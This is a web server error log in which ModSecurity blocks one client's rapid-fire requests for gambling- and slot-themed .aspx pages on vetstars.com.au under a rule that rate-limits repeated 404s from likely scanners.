[Sat Feb 14 21:06:56.858706 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:59636] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZBzcIKeIqKLynHIGnjcwwAAAlY"]
[Sat Feb 14 21:06:58.759968 2026] [:error] [pid 53981:tid 54053] [client 51.83.237.175:54112] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZBzctGxz-sjlGLnWnvSeAAAA1A"]
[Sat Feb 14 21:06:58.800898 2026] [:error] [pid 39456:tid 39506] [client 51.83.237.175:54128] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZBzcoKeIqKLynHIGnjcxQAAAlQ"]
[Sat Feb 14 21:06:59.199332 2026] [:error] [pid 39454:tid 39473] [client 51.83.237.175:54156] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZBzc4f01uYc0DFDtzvYdwAAAc4"]
[Sat Feb 14 21:06:59.330967 2026] [:error] [pid 53980:tid 54033] [client 51.83.237.175:54140] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZBzc9posYBT7xU8oxTHdAAAAtc"]
[Sat Feb 14 21:07:00.238884 2026] [:error] [pid 39454:tid 39469] [client 51.83.237.175:54176] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZBzdIf01uYc0DFDtzvYegAAAco"]
[Sat Feb 14 21:07:01.027687 2026] [:error] [pid 53920:tid 53963] [client 51.83.237.175:54170] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZBzdSrmNDNQ_-GD91KCtQAAAU4"]
[Sat Feb 14 21:07:01.315006 2026] [:error] [pid 39454:tid 39479] [client 51.83.237.175:54180] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZBzdYf01uYc0DFDtzvYfAAAAdQ"]
[Sat Feb 14 21:07:01.784751 2026] [:error] [pid 39454:tid 39464] [client 51.83.237.175:54194] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZBzdYf01uYc0DFDtzvYfwAAAcU"]
[Sat Feb 14 21:07:02.427239 2026] [:error] [pid 50339:tid 50374] [client 51.83.237.175:54200] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZBzdsI6TclQ9GOl2Y16XAAAAgQ"]
[Sat Feb 14 21:07:02.822857 2026] [:error] [pid 53981:tid 54040] [client 51.83.237.175:54196] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZBzdtGxz-sjlGLnWnvSfQAAA0M"]
[Sat Feb 14 21:07:03.813439 2026] [:error] [pid 53981:tid 54051] [client 51.83.237.175:54212] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZBzd9Gxz-sjlGLnWnvSfgAAA04"]
[Sat Feb 14 21:07:04.047816 2026] [:error] [pid 39454:tid 39468] [client 51.83.237.175:54202] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZBzeIf01uYc0DFDtzvYhgAAAck"]
[Sat Feb 14 21:07:04.346773 2026] [:error] [pid 36219:tid 36258] [client 51.83.237.175:54226] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZBzeJe-m2OpEy0FNjhc_AAAA4o"]
[Sat Feb 14 21:07:05.197636 2026] [:error] [pid 39456:tid 39506] [client 51.83.237.175:54238] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZBzeYKeIqKLynHIGnjc0gAAAlQ"]
[Sat Feb 14 21:07:06.286757 2026] [:error] [pid 39456:tid 39510] [client 51.83.237.175:54242] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZBzeoKeIqKLynHIGnjc1gAAAlg"]
[Sat Feb 14 21:07:06.875618 2026] [:error] [pid 26150:tid 26175] [client 51.83.237.175:54258] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZBzeqqmPH3D5QJaUSHSzAAAAJU"]
[Sat Feb 14 21:07:07.169392 2026] [:error] [pid 26150:tid 26171] [client 51.83.237.175:54246] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZBze6qmPH3D5QJaUSHSzgAAAJE"]
[Sat Feb 14 21:07:07.674832 2026] [:error] [pid 50339:tid 50381] [client 51.83.237.175:54268] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZBze8I6TclQ9GOl2Y16YwAAAgs"]
[Sat Feb 14 21:07:07.991300 2026] [:error] [pid 53920:tid 53971] [client 51.83.237.175:49538] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZBzeyrmNDNQ_-GD91KCugAAAVY"]
[Sat Feb 14 21:07:08.649762 2026] [:error] [pid 53920:tid 53951] [client 51.83.237.175:49552] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZBzfCrmNDNQ_-GD91KCuwAAAUI"]
[Sat Feb 14 21:07:08.816444 2026] [:error] [pid 36056:tid 36077] [client 51.83.237.175:49556] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZBzfLv3wQbSPS1vpOggOwAAABM"]
[Sat Feb 14 21:07:09.352253 2026] [:error] [pid 39454:tid 39465] [client 51.83.237.175:49570] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZBzfYf01uYc0DFDtzvYjQAAAcY"]
[Sat Feb 14 21:07:11.175827 2026] [:error] [pid 36219:tid 36272] [client 51.83.237.175:49576] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZBzf5e-m2OpEy0FNjhdAAAAA5g"]
[Sat Feb 14 21:07:11.378349 2026] [:error] [pid 36056:tid 36073] [client 51.83.237.175:49590] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZBzf7v3wQbSPS1vpOggQAAAAA8"]
[Sat Feb 14 21:07:11.883752 2026] [:error] [pid 50339:tid 50393] [client 51.83.237.175:49608] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZBzf8I6TclQ9GOl2Y16aQAAAhc"]
[Sat Feb 14 21:07:11.915882 2026] [:error] [pid 53981:tid 54037] [client 51.83.237.175:49592] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZBzf9Gxz-sjlGLnWnvShQAAA0A"]
[Sat Feb 14 21:07:13.375275 2026] [:error] [pid 50339:tid 50387] [client 51.83.237.175:49628] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZBzgcI6TclQ9GOl2Y16bAAAAhE"]
[Sat Feb 14 21:07:13.960865 2026] [:error] [pid 50339:tid 50389] [client 51.83.237.175:49612] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZBzgcI6TclQ9GOl2Y16bgAAAhM"]
[Sat Feb 14 21:07:14.108758 2026] [:error] [pid 36219:tid 36256] [client 51.83.237.175:49642] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZBzgpe-m2OpEy0FNjhdAgAAA4g"]
[Sat Feb 14 21:07:14.162024 2026] [:error] [pid 50339:tid 50383] [client 51.83.237.175:49638] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZBzgsI6TclQ9GOl2Y16cAAAAg0"]
[Sat Feb 14 21:07:14.431981 2026] [:error] [pid 50339:tid 50381] [client 51.83.237.175:49650] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZBzgsI6TclQ9GOl2Y16cgAAAgs"]
[Sat Feb 14 21:07:15.475977 2026] [:error] [pid 39454:tid 39469] [client 51.83.237.175:49658] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZBzg4f01uYc0DFDtzvYlgAAAco"]
[Sat Feb 14 21:07:16.666775 2026] [:error] [pid 36219:tid 36265] [client 51.83.237.175:49666] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZBzhJe-m2OpEy0FNjhdAwAAA5E"]
[Sat Feb 14 21:07:17.005177 2026] [:error] [pid 36056:tid 36067] [client 51.83.237.175:49678] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZBzhbv3wQbSPS1vpOggRQAAAAk"]
[Sat Feb 14 21:07:17.793565 2026] [:error] [pid 50339:tid 50386] [client 51.83.237.175:44364] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZBzhcI6TclQ9GOl2Y16cwAAAhA"]
[Sat Feb 14 21:07:18.782489 2026] [:error] [pid 53979:tid 53990] [client 51.83.237.175:44366] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZBzhofb_0QPnk6UIuNXQQAAAYc"]
[Sat Feb 14 21:07:19.216842 2026] [:error] [pid 39456:tid 39503] [client 51.83.237.175:44372] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZBzh4KeIqKLynHIGnjc3AAAAlE"]
[Sat Feb 14 21:07:19.397647 2026] [:error] [pid 39456:tid 39491] [client 51.83.237.175:44388] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZBzh4KeIqKLynHIGnjc3QAAAkU"]
[Sat Feb 14 21:07:20.916153 2026] [:error] [pid 36219:tid 36261] [client 51.83.237.175:44410] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZBziJe-m2OpEy0FNjhdBAAAA40"]
[Sat Feb 14 21:07:21.451726 2026] [:error] [pid 53920:tid 53950] [client 51.83.237.175:44404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZBziSrmNDNQ_-GD91KCxAAAAUE"]
[Sat Feb 14 21:07:21.744754 2026] [:error] [pid 36219:tid 36252] [client 51.83.237.175:44416] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZBziZe-m2OpEy0FNjhdBQAAA4Q"]
[Sat Feb 14 21:07:21.775188 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:44428] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZBziYKeIqKLynHIGnjc4AAAAlY"]
[Sat Feb 14 21:07:21.879618 2026] [:error] [pid 39456:tid 39495] [client 51.83.237.175:44438] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZBziYKeIqKLynHIGnjc4QAAAkk"]
[Sat Feb 14 21:07:21.886453 2026] [:error] [pid 53979:tid 54005] [client 51.83.237.175:44398] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZBziYfb_0QPnk6UIuNXRgAAAZY"]
[Sat Feb 14 21:07:23.418932 2026] [:error] [pid 39456:tid 39487] [client 51.83.237.175:44440] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZBzi4KeIqKLynHIGnjc5QAAAkE"]
[Sat Feb 14 21:07:24.135746 2026] [:error] [pid 39456:tid 39509] [client 51.83.237.175:44444] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZBzjIKeIqKLynHIGnjc6AAAAlc"]
[Sat Feb 14 21:07:24.363744 2026] [:error] [pid 39454:tid 39470] [client 51.83.237.175:44448] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZBzjIf01uYc0DFDtzvYnAAAAcs"]
[Sat Feb 14 21:07:25.347840 2026] [:error] [pid 53920:tid 53961] [client 51.83.237.175:44466] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZBzjSrmNDNQ_-GD91KCywAAAUw"]
[Sat Feb 14 21:07:25.875704 2026] [:error] [pid 53920:tid 53973] [client 51.83.237.175:44450] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZBzjSrmNDNQ_-GD91KCzgAAAVg"]
[Sat Feb 14 21:07:26.627295 2026] [:error] [pid 53920:tid 53968] [client 51.83.237.175:44478] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZBzjirmNDNQ_-GD91KC0QAAAVM"]
[Sat Feb 14 21:07:26.938130 2026] [:error] [pid 53920:tid 53949] [client 51.83.237.175:44480] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZBzjirmNDNQ_-GD91KC0wAAAUA"]
[Sat Feb 14 21:07:26.966222 2026] [:error] [pid 39454:tid 39460] [client 51.83.237.175:44476] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZBzjof01uYc0DFDtzvYngAAAcE"]
[Sat Feb 14 21:07:28.818763 2026] [:error] [pid 39454:tid 39475] [client 51.83.237.175:40028] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZBzkIf01uYc0DFDtzvYnwAAAdA"]
[Sat Feb 14 21:07:29.048718 2026] [:error] [pid 39454:tid 39482] [client 51.83.237.175:40038] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZBzkYf01uYc0DFDtzvYoQAAAdc"]
